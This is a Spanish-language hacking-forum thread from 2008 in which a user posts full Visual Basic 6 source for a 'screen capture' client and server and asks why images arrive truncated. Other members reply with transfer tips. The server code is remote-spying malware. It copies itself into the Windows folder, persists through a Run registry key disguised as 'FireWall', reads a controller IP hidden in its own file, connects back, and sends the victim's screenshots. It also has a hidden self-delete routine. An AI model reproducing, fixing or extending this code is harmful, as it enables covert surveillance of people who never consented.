Ayuda aplicacion C/S envio de imagenes!

Iniciado por [SMT], 1 Junio 2008, 08:15 AM

0 Miembros y 1 Visitante están viendo este tema.

[SMT]

Bueno saludos...

Llevo tiempo trabajando en este proyecto y aun no lo he culminado se trata de una pequeña aplicacion Cliente y Servidor que nos permite capturar la pantalla de una persona.
E tenido varios inconvenientes, mas que todo en el envio de la imagen lo que pasa es lo siguiente:

Uso un modulo especial para hacer una captura de la pantalla y pasarla de una a extension .jpg, ya que .bmp se tarda, entonces bien hasta ese punto.. pero cuando me toca enviar la imagen no se que hago malque si la imagen pesa 45kb (ejemplo loco) cuando abro la imagen para leer sus datos, y enviarlos al cliente solo le llegan 8kb... y pues no se como arreglar eso a ver si alguien me podria hechar una mano aqui les dejo el code completo del Cliente y el Server, espero no ser una molestia:

CLIENTE


Const skull As String = "Skull Screen Capture V 0.1"

Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    labe1.Caption = "Desconectado..."
    Timer1.Enabled = False
    ws.Close
fin:
End Sub

Private Sub Command3_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "captura"
fin:
End Sub

Private Sub CommandXP1_Click()
Form3.Show
End Sub

Private Sub CommandXP4_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "eliminar"
fin:
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
    Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
    Label1.Caption = "Escuchando..."
    ws.LocalPort = 1234
    ws.Listen
End If
End Sub

Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, skull
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim imagen() As String
Dim datos As String
dll = Dir(Environ("WinDir") & "\imagen.jpg")
ws.GetData datos

Select Case Left(datos, 3)
    Case "fot"
        imagen = Split(datos, "|")
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
If dll <> "" Then
        Form2.Picture1 = LoadPicture(Environ("WinDir") & "\imagen.jpg")
        Form2.Show
        Pause 3
        Kill Environ("Windir") & "\imagen.jpg"
        Else
    If Not dll <> "" Then
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
    End If
        If imagen(1) = "" Then
            ws.SendData "capturar"
        End If
End If
           
    Case "eli"
        MsgBox ("Server eliminado correctamente"), vbInformation, skull
       
End Select
End Sub


del cliente uno de los aspectos que me gustaria mejorar es la conexion (una porqueria) pero como es para aprender a enviar imagenes por WS.. pues de eso me encargo luego! ;) el cliente tiene Editor, etc...

SERVER


Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const SW_SHOWHIDE = 0
Const GWW_HINSTANCE = (-6)
Dim IPP() As String
Dim firma As String
Dim IP As String

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
dll = Dir(Environ("WinDir") & "\foto.exe")
If App.PrevInstance = True Then End
firma = "skull"
If Not dll <> "" Then
    Call crear
End If
Open Ruta For Binary As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1
    IPP = Split(todo, firma)
    IP = IPP(1)
ws.Connect IP, 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State <> 7 Then
    ws.Close
    ws.Connect IP, 1234
End If
    If ws.State = 7 Then
        GoTo fin
End If
    If ws.State = 2 Then
        GoTo fin
End If
fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim posi As String
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
    Case "cap"
        Call Capturar_enviar
       
    Case "eli"
        posi = Environ("Windir") & "\foto.exe"
        Open Environ("Windir") & "\temp.bat" For Output As #1
            Print #1, , "ping 127.0.0.1 > nul"
            Print #1, , "del / f / q " & posi
            Print #1, , "exit"
        Close #1
        ShellExecute Me.hwnd, "Open", Environ("WinDir") & "\temp.bat", vbNullString, "", SW_HIDE
        ws.SendData "eliminado"
        End
End Select
End Sub

Private Sub Capturar_enviar()
Dim foto As New cJpeg
dll = Dir(Environ("Windir") & "\foto.jpg")
Dim FileSize As String
    foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
    foto.Quality = 93
    foto.SampleScreen
    foto.SaveFile Environ("Windir") & "\foto.jpg"
Pause 5
If dll <> "" Then
    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo
End Sub

Private Sub crear()
FileCopy Ruta, Environ("WinDir") & "\foto.exe"
Dim sk As Object
    Set sk = CreateObject("WScript.Shell")
    sk.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\FireWall", Environ("WinDir") & "\foto.exe"
End Sub


Bueno este es el Server, espero que no se les complique y me puedan ayudar... como ya dije creo que mi error radica aqui:


    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo


pero en fin..

P.D: Para ahorrarle las respuestas a lgunos que van a decir: buscate un ejemplo de envio de datos en VB con Winsock, si ya lo he buscado pero no, quiero programar el MIO propio

Salu2's! 8)

Proxy Lainux

hola skull estuve leyendo tu codigo y creo poder ayudarte

vi que intentas enviar todo de una vez... mejor primero envia con filelen la cantidad del archivo al cliente y en el cliente retomala,  y despues manda pedir el contenido del archivo, puedes hacer un case en esa parte, pero por alguna razon yo intente hacer eso separandola con un split y solo se guardaba una parte... asi que mejor no hagas un case con eso o si lo kieres hacr haz varios intentos de varias formas( yo solo hice unos cuantos asi que por eso talvez no me funciono), mejor retomalo directamente de la variable Datos de GetData... y haz una comparacion con el filen que mandaste pedir primer con el contenido del archivo y guardalo...


[SMT]

mmm entonces enviaria con FileLen la cantidad y luego abro la imagen y obtengo sus datos y los envio al cliente los comparo con los del FileLen.. pero aja y si esos datos no dan? tendria que volver a hacer el procedimiento de enviar de nuevo la imagen?

perdon pero no quede muy claro!

TUNOVATO

SALUDOS,

!me parece que he visto un lindo gatito.....!!!! es cierto, es cierto...!!!! he visto un lindo gatito.....!!!!!!    PIOLIN


ver a mi me sucedio lo mismo a ver si esto te ayuda...!!!!

http://foro.elhacker.net/programacion_vb/solicito_ayuda_para_aplicacion_dos_en_uno-t177586.0.html


SKL (orignal)

una pregunta.... porque le pones parentecis en el msgbox en la parte del texto??? es lo mismo si lo haces sin parentesis!